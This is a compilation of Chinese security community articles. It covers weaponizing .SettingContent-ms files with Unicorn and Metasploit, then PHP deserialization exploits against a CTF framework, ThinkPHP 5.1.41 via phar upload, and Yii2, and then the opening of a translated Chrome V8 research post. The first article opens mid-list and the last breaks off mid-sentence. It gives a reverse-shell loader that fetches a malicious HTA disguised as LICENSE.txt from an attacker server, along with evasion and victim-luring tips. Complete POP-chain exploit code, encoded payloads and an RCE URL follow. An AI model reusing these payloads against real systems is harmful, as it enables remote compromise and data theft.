2. 可以直接利用浏览器执行任意代码攻击。
3. 可以嵌入到Office文档中，并且可以在没有宏的情况下直接执行任意代码。
4. 在Microsoft Office目录中生成子进程，可以绕过使用白名单目录机制的Microsoft’s Attack Surface Reduction (ASR) 。
作为攻击者，上述这些将非常吸引我们，因为我们通常尝试寻找新的方法来攻破系统，而不是使用传统的方法（例如使用宏，HTA等）。Matt已经在研究绕过ASR并进行命令执行方面做了大量研究工作。
最近工作中，我们正在进行red team测试的的客户系统拥有一定的攻击检测能力，而Matt的博文对我们的实际模拟测试提供了及时的帮助。在过去，DDE
Auto等其他传统攻击发现一旦被公开，攻击者就会迅速将这些攻击技术进行武器化(
<https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/>
)。我们曾经在24小时内就看到了使用DDE进行攻击的攻击向量。
我决定看一下Matt的研究，看看是否可以快速地将它武器化。Matt一直利用calc.exe（通常用于演示命令/代码执行）进行演示，而并没有将它武器化。首先，我决定先利用Unicorn（
<https://github.com/trustedsec/unicorn> ）看看是否可以执行经过混淆的攻击载荷（payload）。
先使用Unicorn快速生成了一个meterpreter
shell，并复制粘贴到Matt的概念证明（POC）中进行测试，用powershell.exe替换cmd.exe：
git clone https://github.com/trustedsec/unicorn
cd unicorn
python unicorn.py windows/meterpreter/reverse_https 172.16.37.164 443
这将创建一个混淆的PowerShell有效载荷（payload），并将其导出到powershell_attacks.txt：
图1 – 混淆的PowerShell代码
在将生成的PowerShell字符串插入.SettingContent-ms文件并执行时，似乎<DeepLink></DeepLink>字段出错：
图2 – 由于长字符串导致出错
在对DeepLink字段进行一番研究后，我注意到DeepLink字段允许的最大字符长度（包括路径和所有内容）是517个字符。虽然这对于我们的有效载荷（payload）来说已经是一个很大的空间，但这意味着在这个攻击向量中使用更大的有效载荷（payload）就不行了。
有许多可以在517个字符内获得代码执行的方式。在接下来的示例中，我们将使用“mshta.exe”这种常见的二进制攻击方式进行攻击。MSHTA位于Microsoft支持的每个操作系统上，并且具有从命令行远程下载和执行HTA文件的能力。我们可以使用许多其他方式，例如nps_payload（
<https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/> ），certutil（
<https://twitter.com/subtee/status/889173356284530688?lang=en>
），或其他方法。HTA很简单，您无需指定“hta”扩展名，因为大多数时候使用扩展名进行攻击会被阻断。
首先，我们先利用Unicorn创建支持HTA的payload，看看我们是否可以获得代码执行。
我们需要先生成恶意的HTA文件，切换到unicorn目录并输入以下命令：
python unicorn.py windows/meterpreter/reverse_https 172.16.37.164 443 hta
cp hta_attack/Launcher.hta /var/www/html/LICENSE.txt
service apache2 start
运行完Unicorn后，会生成适当的HTA文件。以下是运行Unicorn的截图：
图3 – 运行Unicorn生成payload
然后我们复制HTA文件并将其重命名为LICENSE.txt。在大多数情况下，如果事件应急人员正在排查恶意文件，有可能会忽略扩展名为.txt的文件。此外，如果这是一个真实模拟攻击，您可能希望使用HTTPS并使用合法且高信誉的域名来躲避蓝队（blue
team）。
最后，我们启动Apache来托管恶意的HTA文件。
以下是Unicorn输出的恶意/混淆HTA的示例：
图4 – Unicorn的输出
接下来，我们创建一个包含指向我们恶意HTA（LICENSE.txt）URL的Test.SettingContent-ms文件：
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<DeepLink>%windir%system32mshta.exe http://172.16.37.164/LICENSE.txt</DeepLink>
<Icon>%windir%system32control.exe</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>@shell32.dll,-4161</Description>
<Keywords>@shell32.dll,-4161</Keywords>
</SettingInformation>
</SearchableContent>
</PCSettings>
保存并双击文件后，我们就可以获得一个shell！
图5 – Meterpreter成功进行Shell访问
攻击成功！显然，在这个例子中我们使用了Metasploit，但是这几乎可以用于任何你想用的payload。MSHTA只是远程下载并且能在517的字符大小限制内执行代码的一个示例。另外，您可以轻松地将这些内容嵌入到Office文档中并将其发送出去，一旦对方打开，您就可以攻破对方电脑。您还可以在网站上托管这些扩展类型，并诱使用户单击链接。如果你想变得狡猾，改变图标和其他东西可能会有所帮助。下面是一个简单的站点，其中包含下载和执行的链接（只是一个普通的链接）：
图6 – 带链接的简单站点
注意，下载的是托管的SettingContent-ms文件。一旦打开，它将以类似的方式攻破系统。
对于防御者而言，最好且最简单的做法就是阻止系统从外部加载.SettingContent-ms类型的文件（阻止基于Web的攻击），或者在下载或执行任何文件时弹出告警。此外，可以将.SettingContent-ms的文件关联类型更改为记事本或其他不执行代码的软件。
如果你想要一个自动化攻击的工具，我已经写了一个auto_settingcontent-ms.py的快速工具，它会自动为你创建Metasploit有效载荷（payload），HTA文件和Test.SettingContent-ms文件。这假设您已经安装了Metasploit，Python和Apache。请注意，这只是一个例子，还有很多其他方法，这只是一个简单的POC。
要运行，首先从github克隆auto_settingcontent-ms，然后运行它：
git clone https://github.com/trustedsec/auto_SettingContent-ms
cd auto_SettingContent-ms
一旦下载完脚本，我们就可以运行它并生成我们的文件。
root@stronghold:/home/relik/Desktop/git/auto_settingcontent-ms# python auto_settingcontent-ms.py
这是一个简单的脚本，它将生成一个.SettingContent-ms文件，该文件可用于在系统上执行命令/代码。该文件可以嵌入到Office文档中，也可以托管在网站上并诱使受害者点击来获得代码执行。这只是一个结合Metasploit使用的POC。你可以使用任何你想使用的payload，在这个例子中我们使用windows/meterpreter/reverse_https。
root@stronghold:/home/relik/Desktop/git/auto_settingcontent-ms# python auto_settingcontent-ms.py
Credit to: Matt Nelson (@enigma0x3) from SpecterOps
Great read here: https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
Written by: David Kennedy (@HackingDave, @TrustedSec)
Version 0.1
Enter the reverse shell IP address: 192.168.5.5
Enter the port for the reverse shell: 443
Cloning into 'unicorn'...
remote: Counting objects: 340, done.
remote: Total 340 (delta 0), reused 0 (delta 0), pack-reused 340
Receiving objects: 100% (340/340), 163.94 KiB | 0 bytes/s, done.
Resolving deltas: 100% (215/215), done.
Checking connectivity... done.
[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...
[*] Exported Test.SettingContent-ms to this folder. Moved over LICENSE.txt (malicious HTA) and setup the SettingContent-ms to point to the Apache server hosting this under /var/www/html
[*] To launch the Metasploit listener, run msfconsole -r unicorn.rc
root@stronghold:/home/relik/Desktop/git/auto_settingcontent-ms#
[从GitHub下载Auto_SettingContent-MS脚本](https://github.com/trustedsec/auto_SettingContent-ms)
特别感谢Matt Nelson在SpecterOps上的出色工作以及通过特定扩展类型获得代码执行能力的示例。
参考文献：
来自Matt Nelson的原帖.SettingContent-ms：<https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39> | 社区文章 |
# WMCTF2020 webweb的深入思考
题目源码可以在XCTF平台上下载到。
## 准备工作
下载源码，有readme，通过readme可以得知是某个框架。于是通过GitHub下载源版文件进行对比。
unserialize($_GET['a']);
主页只给了一个反序列化。应该考察的是反序列化。
那么就需要寻找入口函数`__destruct()或者__wakeup()`
删了两处__destruct()，应该是防止走偏。
那么入口应该在第三处`CLI\Agent::__destruct()`入手
function __destruct() {
if (isset($this->server->events['disconnect']) &&
is_callable($func=$this->server->events['disconnect']))
$func($this);
}
这里根据`$this->server->events['disconnect']`
可以尝试将$func控制为任意函数
`is_callable()`判断$fun是否为可执行的函数，其值可以为一个数组。
然后执行这个函数。
那么如何通过这个函数进行RCE呢？这里寻找函数就变得很重要。
因为这里无法控制这个函数的参数。于是我们考虑构造`__call()`的方法进行攻击。
搜寻类似这种格式。
$A->B($this->C)
其中$A是我们可控的，为某一个类。B是用来触发`__call()`方法的$A类中的那个并不存在的方法。`__call()`方法的返回值即为危险方法，比如`system()`等。C也是我们可控的一个变量。在这道题中作为`system()`的参数。
`CLI\Agent::fench`
function fetch() {
// Unmask payload
$server=$this->server;
if (is_bool($buf=$server->read($this->socket)))
return FALSE;
`CLI\DB\JIG\mapper::insert`
function insert() {
if ($this->id)
return $this->update();
$db=$this->db;
$now=microtime(TRUE);
while (($id=uniqid(NULL,TRUE)) &&
($data=&$db->read($this->file)) && isset($data[$id]) &&
!connection_aborted())
usleep(mt_rand(0,100));
`CLI\DB\JIG\mapper::erase`
function erase($filter=NULL,$quick=FALSE) {
$db=$this->db;
$now=microtime(TRUE);
$data=&$db->read($this->file);
这些都符合我们的要求。这里以第一种举例，`socket`和`server`都是我们可控的
接下来只需要寻找一个可以返回任意值的`__call()`方法。
最终在`DB\SQL\Mapper::__call()`发现返回值为
function __call($func,$args) {
return call_user_func_array(
(array_key_exists($func,$this->props)?
$this->props[$func]:
$this->$func),$args
);
}
返回值为`$this->props[$func]`
其中props可控，且$func为刚才的read函数，所以$func就为read
那么值需要控制`props[read]`为`system`就行了。
exp
<?php
namespace DB\SQL {
class Mapper
{
protected $props;
public function __construct($props)
{
$this->props = $props;
}
}
}
namespace CLI {
class Agent
{
protected $server;
protected $socket;
public function __construct($server, $socket)
{
$this->server = $server;
$this->socket= $socket;
}
}
class WS
{
protected $events = [];
public function __construct($events)
{
$this->events = $events;
}
}
}
namespace {
class Log
{
public $events = [];
public function __construct($events)
{
$this->events = $events;
}
}
$a = new DB\SQL\Mapper(array("read"=>"system")); //把props赋值为props[read]=system
$b = new CLI\Agent($a, 'dir'); //$a即为Mapper的实例化对象，且不含有read()方法。触发了Mapper的__call()方法，返回了system替换read。同时dir为socket赋值，作为system的参数
$c = new Log(array("disconnect"=>array($b,'fetch')));//给event[]变量赋值为array("disconnect"=>array($b,'fetch')), array($b,'fetch')即为fentch，其中$b为fetch的所属类
$d = new CLI\Agent($c, '');//触发__destruct()的点，这里的类是随意的。
$e = array(new \CLI\WS(""),$d); //为了加载ws.php
echo urlencode(serialize($e))."\n";
}
payload`O%3A6%3A%22CLI%5CWS%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A5%3A%22Image%22%3A1%3A%7Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A4%3A%22read%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A3%3A%22dir%22%3B%7Di%3A1%3Bs%3A5%3A%22fetch%22%3B%7D%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A0%3A%22%22%3B%7D%7D`
尝试本地调试：
进入反序列化
开始加载php文件，这样会加载cli文件夹下的ws.php。这也就是为什么要`$e = new CLI\WS($d); //为了加载ws.php`
加载了ws.php才会进入ws.php中的__destruct()方法。
等全部加载完之后进入`__destruct()`
server为我们控制的Image类。Image类下的event[]也为我们控制的`array("disconnect"=>array($b,'fetch'))`于是就过了这个判断，且为`$func`赋值为`fetch`。
然后跟进`fetch()`函数
此时`$server`为我们赋值的`Mapper`类对象，且`Mapper`类中没有read()这个方法。于是触发了`Mapper`类对象中的`__call()`方法
$func即为上图中的read，因为我们在一开始赋值`props[read]=system`所以props数组中是存在名为read的键的，所以判断为True。
返回了`props[read]`即system。
此时的read为返回值system，且socket为我们控制的值dir。那么就执行了system('dir')。达成了RCE的目的 | 社区文章 |
# 基于框架漏洞的代码审计实战
**未经本人允许，禁止转载**
# 0x00 前言
由于普通的，基于某个功能点的漏洞，已经是非常常见了，在这里分享一些基于框架漏洞的代码审计，毕竟大家都学了这么多反序列化漏洞与一堆的框架，还是要用于实战当中。未经本人允许禁止转载。
# 0x01 环境介绍
某开源项目最新版的CMS，该漏洞已提交至CNVD
# 0x02 查看READ.md，获取项目技术栈的相应版本
可以看到这里的thinkphp版本为5.1.41。正好该版本存在反序列化漏洞。接下来我们的思路就是找到反序列化的触发点。
# 0x03 找寻反序列化入口
如果打过ctf的同学都应该都比较清楚，触发反序列化的点，比较常见的就3种
1,unserialize()函数
2,phar反序列化
3,session反序列化
接下来我们就一个一个分析看看该cms是否存在反序列化入口
## 0x3.1 unserialize函数
我们直接全局搜索unserialize,看看有那些地方调用了该函数
可以看到有很多地方调用了unserialize函数，如果你看到这些函数就开始一头扎进去，开始分析，那基本上就可以说是对MVC毫无了解，在分析之前，你要确定那些是能调用的，那些是不能调用的，因此必须分析路由，去找寻那些页面是可以访问的，我们一般想调用某些函数，都是通过URL或者POST参数进行调用了。因此知道自己能调用那些函数，是非常重要的，也是缩小分析范围的至关重要的一步。本文分析的CMS是由thinkphp搭建，由于在大部分情况下我们都可以访问控制器下的大部分函数，因此可操作的空间就非常的大，但并不是所有框架都像一样自由
结合路由分析，可以发现并没有路由能访问到unserialize函数，可知unserialize这条路走不通
## 0x3.2 session反序列化
其实session反序列化是真的不常见，可能只会在一些ctf中见到，因为两种session模式相互切换的场景是真的不常见，不过我们还是进行分析一下吧。直接全局搜索session.serialize_handler
不出意外，确实没有
## 0x3.3 phar反序列化
个人认为phar反序列化还是比较容易触发的，因为在很多功能点都会对文件进行判断，而有许多判断函数都可以触发phar反序列化，且并不需要pip.ini有特殊配置。这是在本机生成phar包时，需要开启phar.readonly这个配置。常见的函数如下：
继续我们的分析，一般每个web应用几乎都存在着文件上传功能，几乎都会用到is_file,is_dir,file_exists等函数
接下来外面就来分析源码，老规矩依旧是全局搜索
在这里就不浪费大家时间，找寻触发点直接省略，直接进入利用分析
可以看到这里rmdirr是update控制器里的一个方法，我们可以直接通过url调用该函数，能触发漏洞的原因在于，没写固定前缀，到这里可能有同学会提醒我还有后缀，但在这里可以给大家卖个关子，其实有很大一部分后缀是可以绕过的，这个我们在后面分析。言归正传，之所以要指定前缀就是防止攻击者使用phar协议，进行phar反序列化，到这里我们已经找到了反序列化入口，进行就是如何进行phar文件生成和反序列化漏洞利用
# 0x04 phar文件生成
在php中phar文件生成有一窜常用的代码，记住即可，唯一要注意的是，要反序列化的对象，在本文就是反序列化利用链
## 0x4.1 配置
在此之前，需要在本机开启，注意这只是在生成的时候开启，及在本地生成然后上传到目标服务器（目标服务器不需要开启配置）
phar.readonly = On
## 0x4.2 源码
//这里就需要反序列化的对象
class Demo{
}
$phar=new\Phar("phar.phar");//
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//
$phar->setMetadata(new Demo());//
$phar->addFromString("test.txt","test");//
//
$phar->stopBuffering();
生成文件内容如下：
# 0x05 Thinkphp 5.1.41反序列化
## 0x5.1 利用链
\thinkphp\library\think\process\pipes\Windows.php - > __destruct()
\thinkphp\library\think\process\pipes\Windows.php - > removeFiles()
Windows.php: file_exists()
thinkphp\library\think\model\concern\Conversion.php - > __toString()
thinkphp\library\think\model\concern\Conversion.php - > toJson()
thinkphp\library\think\model\concern\Conversion.php - > toArray()
thinkphp\library\think\Request.php - > __call()
thinkphp\library\think\Request.php - > isAjax()
thinkphp\library\think\Request.php - > param()
thinkphp\library\think\Request.php - > input()
thinkphp\library\think\Request.php - > filterValue()
## 0x5.2 EXP
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根，如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
# 0x06 Phar与thinkphp反序列化结合
## 源码
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根，如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
$phar=new\Phar("phar.phar");//
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//
$phar->setMetadata(new Windows());//
$phar->addFromString("test.txt","test");//
//
$phar->stopBuffering();
?>
# 0x07 Phar文件上传
## 0x7.1 Phar文件上传绕过
大家看到这里一定会想Phar文件，一定是XXX.phar这样的格式，只要后端一限制，那就没法利用了，如果这么想的话，那可能还是会phar协议不了解，直接说结论吧，phar文件可以是任意后缀，可以是jpg，png，zip等等，只要配合phar协议即可触发反序列化
## 0x7.2 查找上传功能
寻找单个功能点比较常见的就两种:
1.直接黑盒测试看应用程序有那些功能
2.白盒测试看路由，代码审计
一般情况还是先黑盒再白盒，因为有的应用路由写的很死，只能访问给定的功能，也就造成你再页面上看到的功能可能就是它大部分的功能了
## 0x7.3 黑盒测试
这里我们直接找上传点，当然里面也有许多坑，笔者会一一去解说
经过黑盒测试发现只能上图片，话不多少说直接将phar文件，改成phar.jpg然后上传
结果发现上传失败，其实有经验的同学都明白，检测图片的方法很多，mime，文件头，还有一堆处理图片的函数，那文件头来说，如果想绕过就必须在phar文件中添加文件头，但这样一添加，就破坏了文件格式，导致反序列化无法触发。因此这个图片上传无法利用
## 0x7.4 白盒测试
直接分析源码，找寻文件上传功能代码
找到一处，经过分析发现值允许上传zip,txt等文件，既然如此我们就上传一个phar.zip文件
上传成功，回显出了文件地址
# 0x08 验证漏洞
我们已经将文件上传到服务器，接下来就是利用phar+thinkphp反序列化进行rce漏洞验证
payload：
http://127.0.0.1//admin.php/update/rmdirr?dirname=phar://public/upload/images/628259c295370.zip&id=whoami
# 0x09 总结
本文以某开源CMS为例，分析在当今普遍使用框架的现在，如何去进行有效的黑白盒子测试与利用框架漏洞进行代码审计的一部分经验。 | 社区文章 |
# Yii反序列化漏洞
### 0x搭建环境
首先利用composer安装yii2框架
`composer create-project yiisoft/yii2-app-basic yii2`
yii2 version <= 2.0.41(GitHub最新版本)
使用docker环境启动
cd yii2
docker run -d -p 80:80 -v $(pwd):/var/www/html suanve/php:7.3-apache
访问127.0.0.1:80/web 打开首页
环境搭建成功在`controllers/SiteController.php`添加代码
public function actionTest()
{
// echo base64_decode(file_get_contents("php://input"));
return unserialize(base64_decode(file_get_contents("php://input")));
}
### 1x destruct起点
往常大家的链子都是通过`\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php`的`_dataReader`开始的
但是在最新版本官方添加了__wakeup 用于阻止反序列化
/**
* Unserialization is disabled to prevent remote code execution in case application
* calls unserialize() on user input containing specially crafted string.
* @see CVE-2020-15148
* @since 2.0.38
*/
public function __wakeup()
{
throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}
根据魔术方法`function
__destruct()`我们可以找到`vendor/codeception/codeception/ext/RunProcess.php`文件
这里因为$this->processes可控 所以\$process可控,下文中if判断处isRunning()可用来触发
**call方法,在当前文件中我们没有找到`** wakeup`函数，证明这里是可以作为我们pop链的起点的。
### 2x call调用
以前大家都用`vendor/fakerphp/faker/src/Faker/Generator.php`来调用`$this->format`
官方在新版本也同样添加了`__wakeup()`做限制
public function __wakeup()
{
$this->formatters = [];
}
我们继续搜索 **call
发现`vendor/fakerphp/faker/src/Faker/ValidGenerator.php`的`**call`方法存在两处代码执行点，且没有`__wakeup`限制
这里`$this->generator,$this->validator,$this->maxRetries`三者可控
我们只需要给`$this->generator`找一个call返回可控字符串的对象就可以使$res返回值可控
do循环中的if判断可以直接把maxRetries设置为很大的数跳过Exception
接着`$this->validator`可控制 我们就可以执行任意命令了
### 3x 二重call
这里直接找到了一个Faker命名空间下的`vendor/fakerphp/faker/src/Faker/DefaultGenerator.php`
我们将`$this->default`设置为'cat /etc/passwd'
这样`vendor/fakerphp/faker/src/Faker/ValidGenerator.php`中
$this->generator为DefaultGenerator.php`
$name触发call
$arguments 无所谓的情况下
$res的结果将完全可控
$res = call_user_func_array([$this->generator, $name], $arguments);
// $res完全可控
### 4x exp:
<?php
namespace Faker{
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}
}
namespace Codeception\Extension{
use Faker\ValidGenerator;
class RunProcess{
private $processes = [] ;
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}
}
namespace {
use Codeception\Extension\RunProcess;
$exp = new RunProcess('system','cat /etc/passwd');
echo(base64_encode(serialize($exp)));
exit();
}
TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6MTU6ImNhdCAvZXRjL3Bhc3N3ZCI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6OTk5OTk5OTk7fX19 | 社区文章 |
# 【技术分享】Chrome浏览器安全之沙盒逃逸（上）
|
##### 译文声明
本文是翻译文章，文章来源：technet.microsoft.com
原文地址：<https://blogs.technet.microsoft.com/mmpc/2017/10/18/browser-security-beyond-sandboxing/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[**【技术分享】Chrome浏览器安全之沙盒逃逸（下）**](http://bobao.360.cn/learning/detail/4581.html)[](http://bobao.360.cn/learning/detail/4580.html)
**简介**
现在人们在选择浏览器的时候，在诸多的考虑因素中，安全性无疑是首当其冲的。在我们的日常活动中，浏览器的应用几乎无处不在，例如通过它与亲人保持联系、编辑敏感的私人和公司文档，甚至管理我们的金融资产。因此，如果网络浏览器被黑客攻陷的话，可能会产生灾难性的后果。实际上，随着浏览器功能的增加，其代码也变得越来越复杂，从而增加了潜在的攻击面。
我们微软攻防安全研究（OSR）团队的工作使命，便是让计算技术变得更安全。我们每天都在通过各种方法来识别exploit软件，并与公司其他团队紧密合作，以便为缓解网络世界所面临的各种攻击提供相应的解决方案。在我们的工作过程中，通常涉及软件漏洞的识别。但是，我们认为，无论我们多么努力，总是会有更多的漏洞被发现，因此，这并不是我们关注的重点。相反，我们更关心的问题是：假设存在一个漏洞，我们该怎么办？
迄今为止，我们已经取得了不错的成绩。比如，在我们的协助下，已经提高了多款Microsoft产品的安全性，其中就包括Microsoft
Edge。与此同时，我们在防止远程执行代码（RCE）方面也取得了取得重大进展，其中涉及的缓解措施包括：控制流程保护（CFG）、禁止导出、任意代码保护（ACG）和隔离，特别是Less
Privileged AppContainer（LPAC）和Windows Defender Application
Guard（WDAG）。不过，我们认为，还必须对自己的安全策略进行严格的验证。为此，我们经常采用的一种方法是看看其他公司在做什么，并深入学习他们的研究结果。
为此，我们开始研究Google的Chrome浏览器，因为其安全策略的重点在于沙盒上面。我们想知道Chrome是如何阻止RCE漏洞攻击的，并尝试回答：沙盒模式是否强大到足以保护浏览器的安全？
我们的主要研究发现包括：
我们发现的CVE-2017-5121漏洞表明，在现代浏览器中找到可远程利用的漏洞是完全可能的
Chrome相对缺乏的RCE缓解措施，意味着从内存损坏漏洞到exploit的路径可能会很短
在沙箱内进行的多次安全检查导致RCE
exploit能够绕过同源策略（SOP），从而使RCE攻击者可以访问受害者的在线服务（如电子邮件，文档和银行会话）并保存凭据
Chrome的漏洞处理流程会导致安全漏洞的细节在相关的安全补丁推送到用户之前就已经被公开。
**远程漏洞的查找和利用**
为了完成这次安全评估，我们首先需要找到某些漏洞作为突破口。通常，我们首先想到的是寻找内存损坏漏洞，例如缓冲区溢出或UAF漏洞。对于所有网络浏览器来说，其攻击面都是非常广泛的，包括V8
JavaScript解释器、Blink DOM引擎和ium PDF PDF渲染器等。对于这个项目来说，我们将把注意力集中在V8上面。
利用fuzzing，我们最终为exploit找到了一个漏洞。实际上，我们是利用Windows Security
Assurance小组的基于Azure的fuzzing基础架构来运行ExprGen的，这是一个由Chakra背后的团队编写的内部JavaScript
fuzzer，使用的是我们自己的JavaScript引擎。迄今为止，所有公开可用的fuzzer可能都在V8上跑过了；从另一方面来说，ExprGen只在Chakra内部使用，所以我们更有可能在V8上发现新的漏洞。
**寻找bug**
与手动代码审查相比，fuzzing的一个缺点是，无法立即搞清楚到底是测试用例触发了一个漏洞，还是意外的行为造成了一个漏洞。这对我们的OSR来说，尤其如此；我们之前没有V8方面的使用经验，因此对其内部工作机制知之甚少。在我们的测试中，ExprGen产生的测试用例能够可靠令V8崩溃，但并不总是以相同的方式，或者说无法以一种有利于攻击者的方式让其崩溃。
由于fuzzer通常产生的代码会非常庞大和复杂（在我们的测试中，产生了将近1,500行不可读的JavaScript代码），所以，首先要做的事情就是将测试用例最小化
——为其瘦身，直到变成一个比较小而且可理解的代码。下面就是我们最终得到的结果：
上面的代码看起来很令人费解，并且没有真正实现任何东西，但它却是合法的JavaScript代码。它所做的事情，就是创建一个奇怪的结构化对象，然后对其中的一些字段进行设置。按理说，这不应该触发任何奇怪的行为，不过事实上，的确发生了这样的情况。当使用D8运行该代码时，崩溃发生了：
我们看到，崩溃发生在（ **0x000002d168004f14**
）处，说明不是位于静态模块中。因此，它必定是由V8的即时（JIT）编译器动态生成的代码。同时，我们还可以发现崩溃是因为rax寄存器的值为零导致的。
乍看起来，这像是一个经典的空指针引用bug，这样的话到此就可以放弃了：因为它通常是无法利用的，因为现代操作系统阻止零虚拟地址被映射。我们可以考察一下周围的代码，以便更好地了解可能发生的情况：
我们可以从这段代码中提取一些有用的信息。首先，我们注意到，崩溃发生在一个函数调用之前，它看起来像一个JavaScript函数调度器存根，这次崩溃主要是由于
**v8::internal::Builtin_FunctionPrototypeToString**
的地址被加载到该调用之前的一个寄存器中引起的。通过查看位于0x000002d167e84500处的函数的代码，我们发现地址0x000002d167e8455f确实包含一个call
rbx指令，这似乎证实了我们的怀疑。它调用Builtin_FunctionPrototypeToString这一事实的却很有趣，因为这是
**Object.toString**
方法的实现，而我们最小化的测试用例会调用它。这似乎表明，崩溃发生在Javascript函数func0的JIT编译版本中。
从上面的反汇编代码中，我们可以收集到的第二条信息是，发生崩溃时寄存器rax中包含的零值是从内存加载的。这个被加载的值好像应该作为参数传递给toString函数调用的。我们不难看出，它是从[rdi
+ 0x18]处加载的。基于此，我们可以仔细看一下相关的内存区：
这里没有发现非常有用的信息，只能看出大部分值都是指针。但是，知道这个值（它是一个指针）是从哪里加载的是非常有用的信息，因为它可以帮助我们弄清楚为什么这个值此前为零。利用WinDbg最新的Time
Travel Debugging（TTD）功能，我们可以在该位置放置一个内存写入断点（baw 8
0000025e`a6845dd0），然后在该函数的起始处放置一个执行断点，最后重新运行反跟踪（g-）。
有趣的是，我们的内存写断点并没有触发，这意味着这个内存片段在这个函数中没有被初始化，或者至少没有用到。这可能是正常的，但是如果我们借助于测试用例，例如使用o.b.bc.bca.bcab
= 0xbadc0de;行替换o.b.bc.bca.bcab = 0;行的话，我们就发发现，导致崩溃的值原来所在的内存区发生了变化：
